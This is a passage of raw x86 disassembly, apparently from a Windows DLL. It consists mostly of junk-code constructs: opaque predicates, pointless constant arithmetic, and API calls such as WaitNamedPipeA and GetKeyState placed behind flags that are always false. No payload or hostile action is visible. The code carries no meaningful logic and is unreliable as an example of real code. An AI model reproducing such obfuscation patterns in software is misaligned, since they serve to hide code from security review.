mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x1000c2d0
push 0x11e7
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x1000c284
push 3
lea ecx, [ebp - 0xaf0]
call fcn.100177e6
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x1c8], 0
jmp 0x1000c309
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jge 0x1000c32b
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0xaf0]
call fcn.10017853
mov dword [eax], 0xfffffff6
jmp 0x1000c2fc
mov dword [ebp - 0x19c], 0
jmp 0x1000c344
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 2
jg 0x1000c4d4
mov dword [ebp - 0x164], 0xfffffff6
mov dword [ebp - 0x794], 0xffffffff
mov dword [ebp - 0xa6c], 0xdbbe5689
mov dword [ebp - 0x41c], 0xfffffff9
push 4
lea ecx, [ebp - 0xc8c]
call fcn.100177e6
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x1e8], 0
jmp 0x1000c3a3
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 4
jge 0x1000c3c5
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0xc8c]
call fcn.10017853
mov dword [eax], 0xfffffffc
jmp 0x1000c396
mov dword [ebp - 0x164], 2
jmp 0x1000c3de
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jl 0x1000c4c0
push 1
lea ecx, [ebp - 0xaf0]
call fcn.10017853
mov ecx, dword [ebp - 0x164]
cmp dword [eax], ecx
jge 0x1000c412
xor eax, eax
je 0x1000c412
mov dword [ebp - 0x664], 1
jmp 0x1000c419
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x664]
jge 0x1000c433
mov dword [ebp - 0x40c], 1
jmp 0x1000c43a
and dword [ebp - 0x40c], 0
mov esi, dword [ebp - 0xa6c]
push 0
lea ecx, [ebp - 0xaf0]
call fcn.10017853
cmp esi, dword [eax]
jge 0x1000c45d
mov dword [ebp - 0x414], 1
jmp 0x1000c464
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x794], eax
mov eax, dword [ebp - 0x794]
cmp eax, dword [ebp - 0x414]
jge 0x1000c490
cmp dword [ebp - 0x19c], 0
jne 0x1000c490
and dword [ebp - 0x66c], 0
jmp 0x1000c49a
mov dword [ebp - 0x66c], 1
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0x41c], eax
mov esi, dword [ebp - 0x41c]
push 1
lea ecx, [ebp - 0xc8c]
call fcn.10017853
mov dword [eax], esi
jmp 0x1000c3d1
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xc8c]
call fcn.1001784e
jmp 0x1000c337
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf0]
call fcn.1001784e
mov dword [ebp - 0xfc], 0xe7a6
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x464], 0x67a3d58e
mov dword [ebp - 0xa0], 0
jmp 0x1000c517
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1000c533
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x8c8], 0
jmp 0x1000c50a
mov dword [ebp - 0xa0], 0
jmp 0x1000c54c
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x1000c568
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0xfc0], 0xffffffff
jmp 0x1000c53f
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xfc], 0
jmp 0x1000c58a
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0xffffffe3
jle 0x1000c967
mov dword [ebp - 0x38], 0xe135e1f6
mov dword [ebp - 0xa84], 5
cmp dword [ebp - 0xfc], 0
jne 0x1000c5c1
push 4
pop eax
test eax, eax
jne 0x1000c5c1
and dword [ebp - 0x82c], 0
jmp 0x1000c5cb
mov dword [ebp - 0x82c], 1
cmp dword [ebp - 0x82c], 0x60e7
jg 0x1000c5e3
mov dword [ebp - 0x424], 1
jmp 0x1000c5ea
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x38], eax
jle 0x1000c601
mov dword [ebp - 0x674], 1
jmp 0x1000c608
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x424]
cmp eax, dword [ebp - 0x674]
jle 0x1000c622
mov dword [ebp - 0x42c], 1
jmp 0x1000c629
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x42c]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0
jmp 0x1000c645
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jg 0x1000c962
mov dword [ebp - 0x218], 0x91f433c8
mov dword [ebp - 0x30], 1
jmp 0x1000c669
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x1000c95d
mov dword [ebp - 0x870], 0xe85fcb44
mov dword [ebp - 0x69c], 0x35a60c43
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x8c8]
mov dword [ebp - 0xe0c], eax
cmp dword [ebp - 0x38], 0
jne 0x1000c6e1
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xe14], eax
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xe1c], eax
xor eax, eax
inc eax
cmp eax, 0xfffffffa
jae 0x1000c6c6
mov dword [ebp - 0x79c], 1
jmp 0x1000c6cd
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x79c], eax
jl 0x1000c6e1
and dword [ebp - 0x434], 0
jmp 0x1000c6eb
mov dword [ebp - 0x434], 1
mov eax, dword [ebp - 0x69c]
imul eax, dword [ebp - 0x434]
test eax, eax
je 0x1000c711
cmp dword [ebp - 0x218], 0
je 0x1000c711
mov dword [ebp - 0x67c], 1
jmp 0x1000c718
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0xffffffff
jne 0x1000c72d
mov dword [ebp - 0x43c], 1
jmp 0x1000c734
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x43c], eax
jle 0x1000c74b
mov dword [ebp - 0x444], 1
jmp 0x1000c752
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x870], eax
mov eax, dword [ebp - 0x870]
cmp eax, dword [ebp - 0x444]
jg 0x1000c775
mov dword [ebp - 0x684], 1
jmp 0x1000c77c
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x8c8]
cmp eax, dword [ebp - 0x684]
jle 0x1000c79a
mov dword [ebp - 0xa74], 1
jmp 0x1000c7a1
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xe24], eax
cmp dword [ebp - 0xfc], 0xfffffff6
jb 0x1000c7c2
mov dword [ebp - 0x44c], 1
jmp 0x1000c7c9
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x44c], eax
jle 0x1000c7e0
mov dword [ebp - 0x7a4], 1
jmp 0x1000c7e7
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x8c8]
cmp dword [ebp - 0x7a4], eax
jle 0x1000c805
mov dword [ebp - 0x454], 1
jmp 0x1000c80c
and dword [ebp - 0x454], 0
cmp dword [ebp - 0x454], 0xfffffffd
jb 0x1000c821
mov dword [ebp - 0x68c], 1
jmp 0x1000c828
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x464]
cmp dword [ebp - 0x68c], eax
jg 0x1000c842
mov dword [ebp - 0x45c], 1
jmp 0x1000c849
and dword [ebp - 0x45c], 0
cmp dword [ebp - 0x45c], 0x8be776e9
je 0x1000c861
mov dword [ebp - 0x834], 1
jmp 0x1000c868
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x834], eax
je 0x1000c882
mov dword [ebp - 0x694], 1
jmp 0x1000c889
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x464]
imul eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0x38]
jle 0x1000c8a7
mov dword [ebp - 0x46c], 1
jmp 0x1000c8ae
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x8c8]
imul eax, dword [ebp - 0x46c]
test eax, eax
jne 0x1000c8d5
mov eax, 0xe9d2
test eax, eax
jne 0x1000c8d5
and dword [ebp - 0x7ac], 0
jmp 0x1000c8df
mov dword [ebp - 0x7ac], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x7ac], eax
jge 0x1000c8f6
mov dword [ebp - 0x474], 1
jmp 0x1000c8fd
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x474], eax
jg 0x1000c914
mov dword [ebp - 0x47c], 1
jmp 0x1000c91b
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x69c]
cmp dword [ebp - 0x47c], eax
je 0x1000c93b
cmp dword [ebp - 0xa84], 0
jne 0x1000c93b
and dword [ebp - 0x840], 0
jmp 0x1000c945
mov dword [ebp - 0x840], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x840]
mov dword [ebp + eax - 0xfc0], ecx
jmp 0x1000c662
jmp 0x1000c63e
jmp 0x1000c57d
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x554], 0xffffffff
mov dword [ebp - 0x50], 0x647f1a96
mov dword [ebp - 0x15c], 0xe52509e7
push 3
lea ecx, [ebp - 0x8b4]
call fcn.100177e6
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xe2c], 0xffffffff
push 2
lea ecx, [ebp - 0x354]
call fcn.100177e6
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x1f0], 0xfffffffc
mov dword [ebp - 0x290], 7
mov dword [ebp - 0x2f8], 0x3631e19e
mov dword [ebp - 0x288], 0x8bdfadf6
mov dword [ebp - 0x6ac], 0xa68fab8d
mov dword [ebp - 0xa9c], 0xef874ac
mov dword [ebp - 0xc8], 0
jmp 0x1000ca0d
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x1000ca2f
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x354]
call fcn.10017853
mov dword [eax], 0x2faf
jmp 0x1000ca00
mov dword [ebp - 0xc8], 0
jmp 0x1000ca48
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jge 0x1000ca64
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xfcc], 0xf85a
jmp 0x1000ca3b
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
cmp dword [eax], 0
je 0x1000ca8b
mov eax, 0xee6d058a
test eax, eax
je 0x1000ca8b
mov dword [ebp - 0x484], 1
jmp 0x1000ca92
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
je 0x1000cbc2
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x290], 0xc4b7c700
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2f8]
cmp dword [ebp - 0x1f0], eax
jne 0x1000caf4
mov dword [ebp - 0xa8c], 1
jmp 0x1000cafb
and dword [ebp - 0xa8c], 0
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
cmp dword [eax], 6
jb 0x1000cb19
mov dword [ebp - 0x6a4], 1
jmp 0x1000cb20
and dword [ebp - 0x6a4], 0
cmp dword [ebp - 0x6a4], 0xffffffff
jle 0x1000cb3b
mov eax, 0x53ffd03b
test eax, eax
jne 0x1000cb3b
and dword [ebp - 0x48c], 0
jmp 0x1000cb45
mov dword [ebp - 0x48c], 1
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
mov eax, dword [eax]
imul eax, dword [ebp - 0x48c]
cmp eax, 0x8df0
jne 0x1000cb7d
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
cmp dword [eax], 0
jne 0x1000cb7d
and dword [ebp - 0x7b4], 0
jmp 0x1000cb87
mov dword [ebp - 0x7b4], 1
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
mov ecx, dword [ebp - 0x7b4]
cmp ecx, dword [eax]
jl 0x1000cbaa
mov dword [ebp - 0xa94], 1
jmp 0x1000cbb1
and dword [ebp - 0xa94], 0
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
xor eax, eax
jne 0x1000cbd4
cmp dword [ebp - 0x2f8], 0
jne 0x1000cbd4
and dword [ebp - 0x494], 0
jmp 0x1000cbde
mov dword [ebp - 0x494], 1
push 1
lea ecx, [ebp - 0x354]
call fcn.10017853
mov ecx, dword [ebp - 0x494]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x6ac]
jge 0x1000cc08
mov dword [ebp - 0x49c], 1
jmp 0x1000cc0f
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x6ac]
cmp dword [ebp - 0x49c], eax
je 0x1000cc29
mov dword [ebp - 0x83c], 1
jmp 0x1000cc30
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x83c]
mov dword [ebp - 0xa9c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xfcc], 0x50e8
jl 0x1000cc5a
mov dword [ebp - 0x4a4], 1
jmp 0x1000cc61
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x290], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x354]
call fcn.1001784e
mov dword [ebp - 0xe34], 0x6e30f4ae
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0x1c], 0x54dbbe5
mov dword [ebp - 0x2d8], 0xffff
push 4
lea ecx, [ebp - 0x33c]
call fcn.100177e6
mov byte [ebp - 4], 0x12
mov dword [ebp - 0xa8], 0
jmp 0x1000ccc8
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 4
jge 0x1000ccea
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov dword [eax], 0xfffffff8
jmp 0x1000ccbb
mov dword [ebp - 0xa8], 0
jmp 0x1000cd03
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x1000cd1f
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x9e0], 0xf0451807
jmp 0x1000ccf6
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xc4888999
jbe 0x1000cd3a
mov dword [ebp - 0x4c4], 1
jmp 0x1000cd41
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x1c], 0
je 0x1000cd59
cmp dword [ebp - 0x1c], 0
je 0x1000cd59
mov dword [ebp - 0xaa4], 1
jmp 0x1000cd60
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jl 0x1000cd7d
mov eax, 0xbbd4
test eax, eax
je 0x1000cd7d
mov dword [ebp - 0x6b4], 1
jmp 0x1000cd84
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x6b4]
imul eax, eax, 0x9896
imul eax, dword [ebp - 0x2d8]
cmp eax, 0xcee24b2e
jae 0x1000cdae
mov dword [ebp - 0x4ac], 1
jmp 0x1000cdb5
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x4ac]
jg 0x1000cdcc
mov dword [ebp - 0x7bc], 1
jmp 0x1000cdd3
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp - 0x7bc], eax
jge 0x1000cdf3
mov eax, 0xbdd48407
test eax, eax
jne 0x1000cdf3
and dword [ebp - 0x4b4], 0
jmp 0x1000cdfd
mov dword [ebp - 0x4b4], 1
cmp dword [ebp - 0x4b4], 0xd5228033
jae 0x1000ce15
mov dword [ebp - 0x6bc], 1
jmp 0x1000ce1c
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp - 0x6bc], eax
jge 0x1000ce36
mov dword [ebp - 0x4bc], 1
jmp 0x1000ce3d
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x4bc], eax
jl 0x1000ce54
mov dword [ebp - 0x84c], 1
jmp 0x1000ce5b
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0x8846b51f
je 0x1000ce73
mov dword [ebp - 0x6c4], 1
jmp 0x1000ce7a
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0x6c4]
je 0x1000ce94
mov dword [ebp - 0x4cc], 1
jmp 0x1000ce9b
and dword [ebp - 0x4cc], 0
push 3
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov ecx, dword [ebp - 0x4cc]
cmp ecx, dword [eax]
jg 0x1000cebe
mov dword [ebp - 0x9b4], 1
jmp 0x1000cec5
and dword [ebp - 0x9b4], 0
push 1
lea ecx, [ebp - 0x33c]
call fcn.10017853
cmp dword [eax], 0xa6b2
jle 0x1000cee6
mov dword [ebp - 0x7c4], 1
jmp 0x1000ceed
and dword [ebp - 0x7c4], 0
push 3
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov ecx, dword [ebp - 0x7c4]
imul ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0
je 0x1000cf28
mov byte [ebp - 0x143], 0
movzx eax, byte [ebp - 0x143]
test eax, eax
je 0x1000cf26
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
jmp 0x1000cf9e
mov dword [ebp - 0x98c], 1
mov dword [ebp - 0x1c], 0
jmp 0x1000cf42
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffa
jl 0x1000cf64
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x1000cf62
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
jmp 0x1000cf3b
mov dword [ebp - 0x6c], 0
jmp 0x1000cf74
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xfffffffe
je 0x1000cf9e
mov dword [ebp - 0x4d4], 0xffffffff
cmp dword [ebp - 0x98c], 0
je 0x1000cf8f
jmp 0x1000cf9e
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
jmp 0x1000cf6d
mov dword [ebp - 0x1c], 0
jmp 0x1000cfae
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x1000d2c3
mov dword [ebp - 0xe3c], 0x600ac80e
mov dword [ebp - 0xa00], 8
mov dword [ebp - 0xe44], 0xffffffff
mov dword [ebp - 0xe4c], 0x642ee1e3
mov dword [ebp - 0xe54], 0xac77acae
mov dword [ebp - 0x298], 0
push 3
lea ecx, [ebp - 0xab4]
call fcn.100177e6
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x914], 0x3efbb05d
mov dword [ebp - 0xc0], 0
jmp 0x1000d028
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 4
jge 0x1000d044
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x107c], 0x8140a971
jmp 0x1000d01b
mov dword [ebp - 0xc0], 0
jmp 0x1000d05d
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jge 0x1000d07f
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xab4]
call fcn.10017853
mov dword [eax], 0x3f8c
jmp 0x1000d050
mov dword [ebp - 0x6c], 0x2a6add33
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6cc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6cc]
mov dword [ebp + eax - 0x107c], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6cc]
mov dword [ebp + eax - 0x9e0], ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x298]
inc ecx
mov dword [ebp - 0x298], ecx
test eax, eax
je 0x1000d0eb
xor eax, eax
inc eax
je 0x1000d0eb
mov dword [ebp - 0x4dc], 1
jmp 0x1000d0f2
and dword [ebp - 0x4dc], 0
push 3
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [eax]
jg 0x1000d115
mov dword [ebp - 0x854], 1
jmp 0x1000d11c
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
sub eax, 0xfffd
jne 0x1000d135
mov dword [ebp - 0x4e4], 1
jmp 0x1000d13c
and dword [ebp - 0x4e4], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov esi, dword [ebp - 0x4e4]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0xab4]
call fcn.10017853
sub esi, dword [eax]
jmp 0x1000d16f
and dword [ebp - 0x6d4], 0
push 0
lea ecx, [ebp - 0xab4]
call fcn.10017853
mov ecx, dword [ebp - 0x6d4]
cmp ecx, dword [eax]
jl 0x1000d199
mov dword [ebp - 0x4ec], 1
jmp 0x1000d1a0
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x914]
cmp dword [ebp - 0x4ec], eax
je 0x1000d1ba
mov dword [ebp - 0x7cc], 1
jmp 0x1000d1c1
and dword [ebp - 0x7cc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9e0]
cmp dword [ebp - 0x7cc], eax
jle 0x1000d1e2
mov dword [ebp - 0x910], 1
jmp 0x1000d1e9
and dword [ebp - 0x910], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x33c]
call fcn.10017853
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9e0]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0x1c]
sub eax, 0xc2888a0
jne 0x1000d22f
push 1
lea ecx, [ebp - 0xab4]
call fcn.10017853
cmp dword [eax], 0
jne 0x1000d22f
and dword [ebp - 0x4f4], 0
jmp 0x1000d239
mov dword [ebp - 0x4f4], 1
cmp dword [ebp - 0x4f4], 0
jne 0x1000d24e
mov dword [ebp - 0x6dc], 1
jmp 0x1000d255
and dword [ebp - 0x6dc], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x33c]
call fcn.10017853
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6dc]
je 0x1000d279
mov dword [ebp - 0x4fc], 1
jmp 0x1000d280
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0xa00]
cmp eax, 0x7f1a9f13
je 0x1000d29f
mov dword [ebp - 0x844], 1
jmp 0x1000d2a6
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xab4]
call fcn.1001784e
jmp 0x1000cfa7
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x33c]
call fcn.1001784e
mov dword [ebp - 0x72c], 1
mov dword [ebp - 0xe64], 0xffffffff
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x318], 3
cmp dword [ebp - 0x64], 0
je 0x1000d471
mov dword [ebp - 0x198], 0xffffffff
mov dword [ebp - 0x918], 0
cmp dword [ebp - 0x198], 0
jne 0x1000d3ad
cmp dword [ebp - 0x64], 1
jg 0x1000d334
mov dword [ebp - 0x504], 1
jmp 0x1000d33b
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x504], eax
jne 0x1000d352
mov dword [ebp - 0x6e4], 1
jmp 0x1000d359
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x6e4], eax
je 0x1000d370
mov dword [ebp - 0x50c], 1
jmp 0x1000d377
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x50c], eax
jne 0x1000d391
mov dword [ebp - 0x7d4], 1
jmp 0x1000d398
and dword [ebp - 0x7d4], 0
cmp dword [ebp - 0x7d4], 0xfe5a
jle 0x1000d3ad
and dword [ebp - 0x514], 0
jmp 0x1000d3b7
mov dword [ebp - 0x514], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x514], eax
jle 0x1000d3ce
mov dword [ebp - 0x6ec], 1
jmp 0x1000d3d5
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x6ec], eax
jl 0x1000d3ef
mov dword [ebp - 0x51c], 1
jmp 0x1000d3f6
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x51c]
jle 0x1000d40d
mov dword [ebp - 0x888], 1
jmp 0x1000d414
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x198]
xor ecx, ecx
sub ecx, dword [ebp - 0x888]
imul eax, ecx
test eax, eax
je 0x1000d43b
cmp dword [ebp - 0x64], 0
je 0x1000d43b
mov dword [ebp - 0x524], 1
jmp 0x1000d442
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x524], eax
jle 0x1000d45c
mov dword [ebp - 0x6f4], 1
jmp 0x1000d463
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x918], eax
jmp 0x1000d4ee
mov dword [ebp - 0x64], 0xe
jmp 0x1000d481
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x25
jl 0x1000d4d1
mov dword [ebp - 0x230], 0
jmp 0x1000d4a0
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 1
jge 0x1000d4bc
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x9ec], 0x74b6
jmp 0x1000d493
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9ec]
mov dword [ebp - 0x318], eax
jmp 0x1000d47a
mov byte [ebp - 0x130], 0
movzx eax, byte [ebp - 0x130]
test eax, eax
je 0x1000d4ee
push 0x9dc
call dword [sym.imp.USER32.dll_GetKeyState]
imul eax, dword [ebp - 0x318], 0xa88a
mov dword [ebp - 0x318], 8
mov dword [ebp - 0xe6c], 0xd47ebdcf
mov dword [ebp - 0x2f0], 0xa597
mov dword [ebp - 0x114], 0xc07e17f7
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x7dc], 0xfffffffa
mov dword [ebp - 0x53c], 8
push 2
lea ecx, [ebp - 0xca4]
call fcn.100177e6
mov byte [ebp - 4], 0x14
mov dword [ebp - 0xf18], 0xfffa
mov dword [ebp - 0xb0], 0
jmp 0x1000d572
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x1000d58e
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0xacc], 0
jmp 0x1000d565
mov dword [ebp - 0xb0], 0
jmp 0x1000d5a7
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1000d5c9
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xca4]
call fcn.10017853
mov dword [eax], 0x3147f59e
jmp 0x1000d59a
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xf28], eax
mov eax, 0x5927
test eax, eax
je 0x1000d5ff
cmp dword [ebp - 0x114], 0
je 0x1000d5ff
mov dword [ebp - 0x52c], 1
jmp 0x1000d606
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x52c]
mov dword [ebp - 0x7dc], eax
mov eax, dword [ebp - 0x7dc]
cmp dword [ebp - 0x114], eax
jge 0x1000d632
mov dword [ebp - 0x2a0], 1
jmp 0x1000d639
and dword [ebp - 0x2a0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a0]
